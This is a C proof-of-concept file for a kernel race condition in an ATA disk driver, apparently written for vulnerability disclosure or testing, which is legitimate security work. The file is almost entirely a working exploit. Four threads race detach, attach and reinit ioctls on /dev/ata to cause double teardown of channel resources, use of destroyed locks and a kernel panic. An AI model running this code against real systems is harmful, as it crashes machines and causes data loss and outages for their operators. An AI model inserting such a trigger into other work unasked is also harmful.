DF-4476 / ata_detach_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | /* * DF-4476 PoC: unlocked IOCATADETACH/IOCATAATTACH/IOCATAREINIT ioctl races * on the /dev/ata control device -> double teardown / use of destroyed * channel locks -> kernel panic or resource double-free. * * Sink: sys/dev/disk/nata/ata-all.c * ata-all.c:154-184 ata_detach(): unlocked `if (!ch->r_irq)' check-then-act; * concurrent callers both run bus_teardown_intr + bus_release_resource + * lockuninit(&ch->state_mtx/&ch->queue_mtx) twice. * ata-all.c:186-270 ata_reinit(): lockmgr(&ch->state_mtx...) on a lock that * a concurrent ata_detach has already lockuninit'ed. * Dispatch ata-all.c:369-447: no serialization of the channel-control * ioctls (IOCATAREINIT 384, IOCATAATTACH 392, IOCATADETACH 400). * * Usage: ata_detach_race [channel] * Default channel 0 (ata0 - empty channel on this guest, no disk). * Needs root (operator) on /dev/ata. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define POC_IOCATAREINIT _IOW('a', 2, int) #define POC_IOCATAATTACH _IOW('a', 3, int) #define POC_IOCATADETACH _IOW('a', 4, int) static int fd; static int channel; static volatile int stop; static volatile unsigned long n_detach, n_attach, n_reinit; static void * t_detach(void *arg) { int which = (int)(size_t)arg; int ch = channel; while (!stop) { if (ioctl(fd, POC_IOCATADETACH, &ch) == 0) n_detach++; if (which) usleep(300); } return (NULL); } static void * t_attach(void *arg) { int ch = channel; (void)arg; while (!stop) { if (ioctl(fd, POC_IOCATAATTACH, &ch) == 0) n_attach++; usleep(200); } return (NULL); } static void * t_reinit(void *arg) { int ch = channel; (void)arg; while (!stop) { if (ioctl(fd, POC_IOCATAREINIT, &ch) == 0) n_reinit++; usleep(100); } return (NULL); } int main(int argc, char **argv) { pthread_t ta, tb, tc, td; time_t t0 = time(NULL), limit = 60; channel = (argc > 1) ? atoi(argv[1]) : 0; if (argc > 2) limit = atoi(argv[2]); fd = open("/dev/ata", O_RDWR); if (fd < 0) { perror("open /dev/ata"); return (1); } printf("poc: racing detach/attach/reinit on ata channel %d for <=%lds\n", channel, (long)limit); pthread_create(&ta, NULL, t_detach, (void *)0); pthread_create(&tb, NULL, t_detach, (void *)1); pthread_create(&tc, NULL, t_attach, NULL); pthread_create(&td, NULL, t_reinit, NULL); while (time(NULL) - t0 < limit) { sleep(2); printf("poc: detach=%lu attach=%lu reinit=%lu\n", n_detach, n_attach, n_reinit); } stop = 1; pthread_join(ta, NULL); pthread_join(tb, NULL); pthread_join(tc, NULL); pthread_join(td, NULL); printf("poc: survived: detach=%lu attach=%lu reinit=%lu " "(no panic in %lds)\n", n_detach, n_attach, n_reinit, (long)(time(NULL) - t0)); return (0); } |